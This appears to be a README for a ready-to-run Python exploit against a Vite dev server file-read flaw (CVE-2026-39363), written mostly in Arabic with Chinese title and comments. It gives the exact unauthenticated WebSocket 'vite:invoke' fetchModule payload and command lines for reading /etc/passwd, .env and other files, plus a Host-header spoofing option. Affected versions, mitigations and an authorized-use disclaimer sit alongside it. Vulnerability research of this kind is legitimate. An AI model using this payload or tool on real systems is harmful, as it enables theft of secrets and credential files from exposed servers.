
方便实用的CVE-2026-39363利用工具
PoC قابل للتشغيل مباشرة ضد GHSA-p9ff-h696-f583. عبر استدعاء fetchModule من خلال HMR WebSocket غير مُصادَق، يتم تجاوز قيود server.fs.allow على طبقة HTTP لقراءة أي ملف من الجهاز الذي يعمل عليه خادم التطوير (dev server).
| خط الإصدار | المتأثر | تم الإصلاح |
|---|---|---|
| Vite 6 | >=6.0.0, <=6.4.1 | 6.4.2 |
| Vite 7 | >=7.0.0, <=7.3.1 | 7.3.2 |
| Vite 8 | >=8.0.0, <=8.0.4 | 8.0.5 |
| vite-plus (فرع VoidZero) | <=0.1.15 | 0.1.16 |
شروط الاستغلال:
--host / server.host)، وserver.ws: false).CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)، CWE-200 + CWE-306.
وضعت CISA SSVC علامة exploitation=poc, automatable=yes.
server.fs.allow (/@fs/<المسار المطلق> → 403).Sec-WebSocket-Protocol: vite-hmr، و?token= (CWE-306: العملاء غير المتصفحيين
يمكنهم الاتصال مباشرة دون ترويسة Origin).vite:invoke لاستدعاء طريقة fetchModule المسجلة على الخادم، مع تمرير file://<المسار المطلق>?raw. تمرر fetchModule مباشرة عبر مسار تحويل الوحدات (module transform)، متجاوزةً تمامًا فحص fs.allow، وتُعيد محتوى الملف كـ export default "..." (CWE-200).بنية رسالة طلب vite:invoke (متطابقة في v6/v7/v8):
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "1send",
"data": ["file:///etc/passwd?raw"]
}
}
يردّ الخادم بتغيير id إلى 1response، ويكون data.data.result.code هو محتوى الملف.
لا يتطلب سوى المكتبة القياسية لـ Python 3، دون أي تبعيات خارجية:
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd
# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini
# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/
# HTTPS dev server
python exp.py https://target:5173 /etc/passwd
# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173
المعاملات:
تم اختبار PoC لهذا المستودع بنجاح في البيئات التالية (قراءة secret.txt خارج جذر خادم التطوير،
بينما يُرجع مسار HTTP @fs لنفس الملف 403):
vite --host 0.0.0.0، Windows)خطوات إعادة الإنتاج (نفس مسار PoC):
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173
# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw' # -> 403
# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>
vite build مع استضافة ثابتة، ولا تشغّل vite dev.server.ws: false، أو أضف وكيلًا عكسيًا يسمح بالوصول إلى منفذ خادم التطوير محليًا فقط.يُستخدم فقط في اختبار الاختراق المصرح به، وإعادة إنتاج الثغرات، والبحث الدفاعي. يتحمّل المستخدم مسؤولية أي عواقب ناتجة عن استخدام هذه الأداة ضد أنظمة الآخرين دون إذن.
| المعامل | الوصف |
|---|
url | الهدف، مثل http://192.168.1.10:5173 |
files | المسارات المطلقة المطلوب قراءتها، بنمط POSIX أو Windows |
--host-header | تزوير ترويسة Host (افتراضيًا يُؤخذ من host الخاص بالهدف). افتراضيًا يُسمح فقط بعناوين IP وlocalhost؛ النطاقات المخصصة تتطلب تهيئة صريحة |
--ws-path | مسار HMR WebSocket، الافتراضي / (يجب تغييره إذا كان الهدف مهيأً بـ server.hmr.path) |
--timeout | مهلة الطلب الواحد بالثواني، الافتراضي 10 |
-o/--output-dir | حفظ المحتوى المقروء في دليل |